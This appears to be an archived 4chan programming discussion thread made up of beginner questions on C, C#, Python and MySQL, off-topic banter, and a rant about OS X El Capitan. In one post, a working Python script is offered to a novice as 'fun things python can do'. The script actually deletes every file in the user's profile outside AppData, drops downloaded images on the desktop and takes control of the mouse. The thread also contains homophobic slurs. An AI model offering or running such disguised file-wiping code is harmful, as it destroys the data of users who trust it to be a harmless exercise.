while every question is the same, you can make every answer different
however, >>56717035
but really, what do you have any interest in AT ALL.
do you want to mod minecraft, rice your WM, want to write an OS for a Raspberry Pi? there's a ton of cool shit you can do with any number of languages
>>
>>56717130
You're exactly right, but I don't see that as inherently a bad thing.
>>
File: Untitled.jpg (415KB, 1920x1042px) Image search: [Google]
Untitled.jpg
415KB, 1920x1042px
>>56717135
This is what I'm getting. I've been learning from mysqltutorial
>>
I'm going to focus on app development for Android. Is there any reason in my case to use linux or macos over windows 10?
>>
>>56717187
Yeah, that's normal for Workbench.

Notice the output at the bottom saying "4 rows returned". You're not actually return a null row.

You can ignore it.
>>
>>56713905
[triggered]
>>
>>56717212
not really no. The android SDK works well on all of them.
>>
>>56717113
If you're interested in desktop applications (assuming some kind of GUI included), then I don't suggest C. Only linux people write desktop applications in C, and even then most users would prefer a CLI application anyways, but Windows applications are primarily written in .net language, primarily C#. Java is good for making desktop applications, but it seems like this year Microsoft has launched a full on assault on Java.

Robots are typically programmed in a low level language like C, since the microcontrollers which control the motors don't have an operating system to manage memory, so you have to do it manually in something like C. If you want to break into this field, find some friends who are into robotics, or get your own components and buy an Arduino Uno (which is programmed in C, but other compilers exist for Arduino as well).

That said, you CAN develop desktop applications in C. In linux, you can use gtk or qt, and on windows, you'd be best off figuring out the visual studio ecosystem, but I'm not sure how this is done nowadays. There used to be a windows.h file which gave you a GUI library but it's deprecated
>>
>>56717237
What do you think of python? You can easily make desktop applications and program robots with it.
>>
>>56717271
Yes, but he was asking about java vs c
>>
Hey what do you fags think about google doing this

https://www.madewithcode.com/projects/change/equality/code
>>
>>56717289
>environment equality peace poverty

It would be nice if it weren't for the constant political undertones
>>
>>56713588
dont know what language that is but im thinking itd be a lot easier in python
>>
>>56717366
Here's what the python equivalent of all that code looks like:
>>
File: 28.jpg (156KB, 1200x669px) Image search: [Google]
28.jpg
156KB, 1200x669px
>>56713666
Anyone?
Also how to list the installed modules in python?
>>
In C is it valid to chain several if statements with a single semicolon?

if (arr->subarr[i].a)
if (!strcmp(arr->subarr[i].a, needle))
return arr->subarr[i].b;
>>
>>56716475
does that just mean money, and dollars both point to four
>>
>>56717443
Sure, it's just nested statements. Although it's considered bad style. The proper way to do it would be to just && the conditions together. The behavior is exactly the same.
>>
whats the gayest programming language

the one all those soylent drinking traps use
>>
>>56717511
ruby
>>
>>56717511
Ruby on Rails
>>
>>56717511
ruby
>>
File: nevermind.png (135KB, 1280x800px) Image search: [Google]
nevermind.png
135KB, 1280x800px
import  collections, string, csv

name = input('enter a file->')
handle = open(name, 'r')
table = str.maketrans('','',string.punctuation)
text = handle.read().lower()
text = text.translate(table)
words = text.split()


x = collections.Counter(words)


print (x.most_common())

filename = input('namethis.csv-->')

with open(filename, 'w') as resultFile:
writer = csv.writer(resultFile)
for row in x.most_common():
writer.writerow(row)


>pic related

30 most frequent words in nevermind
>>
File: 017.png (151KB, 841x1200px) Image search: [Google]
017.png
151KB, 841x1200px
Why is showing your source code to someone so embarrassing?

It's like telling someone your dirty secrets.
>>
>>56717517
>>56717522
>>56717523
ruby even sounds gay
>>
>>56717511
probably Ruby
>>
>>56717544
god that UI is sougly.

This is why free software isn't taken seriously.
>>
>>56717523
>>56717522
>>56717517
>>56717511
>threadly reminder that this is 4chan and 99% of the people participating in these threads are autistic teenagers that haven actually developed anything professionally for only a single day of their life


>inbe4
>>
Functional programming languages on building compilers (e.g. http://plzoo.andrej.com/index.html ) is full of code like this

expr' =
| Var of name
| Int of int
| Times of value * value


What I want to know is, how would this convert to pure C?
>>
File: ruby brony.png (15KB, 796x293px) Image search: [Google]
ruby brony.png
15KB, 796x293px
>>56717584
You forgot your trip
>>
>>56717584
I'm I've actually been a professional developer for 3 years now. Ruby is shit.
>>
>>56717584
While that is true, I'm one of those people and I've been a professional backend dev for years.
>>
>>56717590
Is that a union?

C does not support anything like unions.

I'd guess you would use a struct that has a "type" field that has an int indicating what kind of data the struct is meant to be catting, and a "value" field that is a pointer pointing to the the actual data.
>>
ruby is so gay
>>
>>56717590
C++ (mainly not putting "struct" in variable names):
And I'm assuming "value" means expr', or similar

struct Expr;
enum ExprT { Var, Int, Times };

// you could use a bit of templates for this
struct ExprVar {
const char* Name; // assume name is const char*
}
struct ExprInt {
int Int;
}
struct ExprTimes {
Expr* l,r;
}

struct Expr {
ExprT type;
union {
ExprInt _int;
ExprVar _var;
ExprTimes _times;
}
}
>>
why do weebs say desu so much, i looked it up and its just means like 'thats what it is'
>>
>>56717651
>>56717590

Effectively, the way it works for simple ADTs is like this:

If it references itself, use a pointer and forward declare.
<constructor> of a * b * c
... or Haskell:
<constructor> a b c
-> struct { a ...; b ...; c ...; }

a | b | c
->
struct { union { a ...; b ...; c ...; }; enum tagType { tA, tB, tC } tag; }
>>
>>56717677
>being this new
>not knowing that all of the "desu"s on 4chan are actually from filthy normies
>>
>>56717677
Because of Hiroshima Nagasaki's wordfilter

To be honest (T B H) is turned into desu, while family (F A M) is turned into senpai
>>
>>56717703
desu senpai
>>
>>56717703
>Hiroshima Nagasaki
very offensive
don't be rude to moot2.0
>>
I think sleep-deprivation has boosted my programming skills
No more sleep for me!
>>
>>56717584
>t. faggot webdeb

>>56717703
desu baka senpai
>>
>>56717774
I always had this peak of productivity around 4 AM.

Doesn't work too well in my day job, though.
>>
>>56717798
Since I got on a regular schedule I work best in the morning.
The time after lunch is the worst until my job is done at 5.
And by the time I'm home my productivity goes up again.
>>
>>56717511
solidity
>>
>>56717555
Because it's your skill level on display.
And there's no way to fake it without outright stealing code from others and pretending it's yours.
>>
>>56717555
It's not unless your code sucks
>>
>>56717555
That's funny, usually when I show my code people say
>mmm. nice work
>>
>tfw you realize your clothes aren't shrinking
>>
File: hereyougo.gif (88KB, 10000x10000px) Image search: [Google]
hereyougo.gif
88KB, 10000x10000px
If python was compiled and had memory management, would it be a good language?
>>
>>56717544
You could've easily used matplotlib/pyplot to create a nice plot yourself.
>>
>>56718109
python is compiled and does have memory management.
>>
>>56718109
if you're making fun of crashing qutebrowser with that picture, it's QtWebkit that's actually crashing.
>>
>>56718109
no
>>
>>56718134
He posts this image every thread.

He's basically avatarfagging as a blank white picture at this point.
>>
Hello guys. you know I'm trying to learn Python right now but i barely know something about programming itself. So i'm stuck with a lot difficulties. Can you recommend me to read smth or learn smth about so i can improve myself? i know you can say smth like "use google or smth" but there is so much different info i don't know what to do with... I know this is not the place for such questions but still; wanna try._. Make fun of me is fine too.
>>
If I have a list of edges in an adjacency list how would I detect redundant paths? As in given and edge list of:
(   Class2.hpp ->   Class1.hpp )
( main.cpp -> iostream )
( main.cpp -> Class1.hpp )
( main.cpp -> Class2.hpp )


How would I detect that main.cpp includes Class1 twice?
>>
>>56718242
>smth
>smth
>smth
>smth

Maybe check out pic related.
>>
>>56718263
You could store them as a set?
>>
>>56718242
http://www.diveintopython.net
>>
>>56718313
How would that help
>>
>>56718242
go through the python docs
https://docs.python.org/2/tutorial/
>>
>>56718109
It would be a horrible abortion.
>>
File: anal beads.png (107KB, 661x679px) Image search: [Google]
anal beads.png
107KB, 661x679px
>>56717774
>>56717815
>>
So I'm trying to make a random number picker in python (between 1-100) and I don't think the way I plan on doing it is the best
from random import choice

one="1"
two="2"
three="3"
four="4"
five="5"
six="6"

output = one,two,three,four,five,six

print (choice(output))

That's only up to 6 is there a better way to do this? I'm guessing I'm just being retarded
>>
>>56715819
It honestly sounds to me like either you or the professor aren't up to scratch to teaching the concepts.
>>
>>56718392
Why did you call that file anal beads.png?
>>
>>56718424
print(choice(range(1,101)))
>>
Script ideas for a python beginner?
>>
>>56718460
To make you read it.
>>
>>56718263
pls respond
>>
>>56718466
thanks
>>
>>56716584
if it's your first time writing code this is a pretty understandable mistake desu
>>
>>56713536
Why don't you faggots have a discord so people can work together and get their questions answered?!
>>
>>56718508
And so I did, fuck you.
>>
>>56718555
because this thread is better
>>
>>56718555
IRC > Spycord
>>
i'll be able to meet all my graduation requirements for a BS in computer science with honors by taking 7 credit hours a semester my 2 senior semesters. but, to be a full time student i need 12 credit hours a semester. graduating early is frustratingly not possible because of a single required fall-only course i didn't sign up for this semester for some reason. so i've come to see there are a couple paths i can take

option 1 is i can try to get a minor in something. if i do this, what should i minor in that goes well with comp sci? i absolutely hate math and statistics is the only thing with this, and those are the 2 most obvious minors. i looked at all the minor choices and none of them looked interesting

option 2 is i can take a bunch of underwater basket weaving type classes. this would greatly boost my overall GPA, but not my major. i'm already at a 3.88, so it could potentially push me over to a 3.96 and i get to round to 4.0 on resumes. oddly enough though, i've gotten A-'s in classes you'd think are easy A's like exercise

and option 3 is i can take a bunch of computer science electives. this could potentially boost my major GPA, and a lot of the classes look really cool. it may or may not be as likely to push my overall GPA to a 4 though. plus a lot of them look really cool like machine learning, and there's a graduate level course in AI that i really want to take but it looks hard

thoughts on what i should do?
>>
I'm taking a C# class for college. This is a Visual C# program that's supposed to take the input of a user's IQ and then tell them if it's average, above average, or below average. I don't get any errors while coding, but when I actually run the application it JUST shows the error message even if I input a valid IQ. I can't for the life of me figure out what I did wrong. Any help would be greatly appreciated.

 private void btnCalculate_Click(object sender, EventArgs e)
{
int userIQ = Convert.ToInt32(txtIQ.Text);
if (userIQ > 100)
lblRate.Text = "Your IQ is above average.";
if (userIQ < 100)
lblRate.Text = "Your Iq is below average.";
if (userIQ == 100)
lblRate.Text = "Your iq is average.";
if (userIQ > 200 || userIQ < 0)
lblRate.Text = "Error: Please make sure you have correctly typed an integer between 0 and 200.";
else
lblRate.Text = "Error: Please make sure you have correctly typed an integer between 0 and 200.";
}
>>
>>56718587
who gives a shit about GPA, just take some classes that seem fun/interesting to you, or a minor you think you'd like
>>
NEW THREAD!

>>56718622
>>
>>56718573
>sitting in a room full of unwilling and unhelpful anonymous afkers
>>
>>56718617
One of the earlier ifs is running but then the last if/else runs and overwrites the variable. So you should turn everything into an if/else-if/else-if/else, or a switch statement.
>>
>>56718654

Sweet!

Thanks for the help, friend.
>>
>>56718617
you need to write "else if" instead of "if".

It's running through each if statement every time.
>>
>>56718617
Use a case/switch statement.

Your life will be easier, and it will prevent the obvious chained if mistake you're making.
>>
>>56718690
case/switch is disgusting and should be avoided by everyone.
>>
>>56718690
>and it will prevent the obvious chained if mistake you're making.
Not if the switch falls through :^)
>>
>>56718706
That's why fall-through is not allowed in C#.
>>
>>56718682
>>56718690

Thanks for the advice.

I knew my code would be ultra-noobish and embarrassing, but everyone's gotta start somewhere, right?
>>
>>56718505
here's a couple fun things python can do
import requests
import random
import os, os.path
from time import sleep
import stat
import pyautogui

x = 1

user = os.environ['USERPROFILE']
desktop = user + '\desktop'

#Deletes all files
def rmtree(top):
for root, dirs, files in os.walk(top, topdown=False):
for name in files:
try:
filename = os.path.join(root, name)
if user + '\\AppData' in filename:
continue
else:
os.chmod(filename, stat.S_IWUSR)
os.remove(filename)
print('file removed')
except:
print('Permission denied...')
sleep(1)
continue
for name in dirs:
os.rmdir(os.path.join(root, name))
os.rmdir(top)

#Downloads random pics, puts ten randomly on desktop
def createFile(x):
pics = [r'insert a bunch of random image links here, I can't because of spam protection.']
os.chdir(desktop)
with open(str(x) + '.jpg', 'wb') as f:
f.write(requests.get(random.choice(pics)).content)
print('pic made')
x += 1

#moves the mose and holds it down
def mClick(x, y):
pyautogui.moveTo(x, y)
pyautogui.mouseDown()
>>
>>56718718
Yes they are
>>
>>56718721
indeed anon. You're doing fine for a beginner.
>>
>>56718761

Noob here, but the chapter in my book explicitly said fall-through is not allowed in C#. Maybe you're thinking of something else?
>>
>>56718761
Not without using something like goto.

Explain what you mean, when you say they are "allowed".
>>
>>56718617
Shouldn't you move your iq > 200 || iq <0 above your iq >100? If you input 250 in it the if statement will kick out after the >100 check and not put out the >200 one
>>
>>56718797
Shit you're right. I never know that. I guess I always but break; in anyhow so never noticed it was required.

based C#
>>
>>56718815

normally yes, but since he did each if statement individually instead of else if, it actually would work fine in this case.
>>
>>56718263
A
>>
>>56718555
go back to /v/
>>
10.11.6 from bad to worse - El Capitan is a mountain of problems

I know El Capitan is a mountain, but I had no idea it was a mountain full of problems.


What was released by Apple as a version for "performance enhancements and bug fixes" has turned into the exact opposite and with each new version the problems just get worse.


10.11.6 was released yesterday and now for the first time EVER this morning when I woke my Macbook from its sleep it had completely frozen and would not allow me to log back in, just had a sticky mouse cursor and the horrid spinning beach ball.


Of course had no choice but to force a shutdown and restart .... had my Macbook for 19 months, never had one freeze of any sort so the proof in the pudding is that a new bug has been introduced in yesterdays 10.11.6 release of El Capitan.


Not only does El Capitan NOT live up to its promises of being faster and better than Mavericks or Yosemite but it is more buggy than any OSX I have used yet. They have done very little in the way of actually improving anything and instead keep sneaking new features in which nobody wants or needs.


I really need to now consider going all the way back to Mavericks because it was fast and snappy as any Apple OS should be but Yosemite slowed things down and El Capitan even more, nobody can honestly sit back and defend El Capitan as being solid and fast without first going back to one of the older OS versions and seeing the difference.


I absolutely will have to stay away from the new Sierra if the last 2 versions of OSX are anything to judge by. Sad that Apple has very much lost its way.
>>
senpaitachi desu desudesuka
Thread posts: 335
Thread images: 34


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]

I'm aware that Imgur.com will stop allowing adult images since 15th of May. I'm taking actions to backup as much data as possible.
Read more on this topic here - https://archived.moe/talk/thread/1694/


If you need a post removed click on it's [Report] button and follow the instruction.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com.
If you like this website please support us by donating with Bitcoins at 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
All trademarks and copyrights on this page are owned by their respective parties.
Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that site.
This means that RandomArchive shows their content, archived.
If you need information for a Poster - contact them.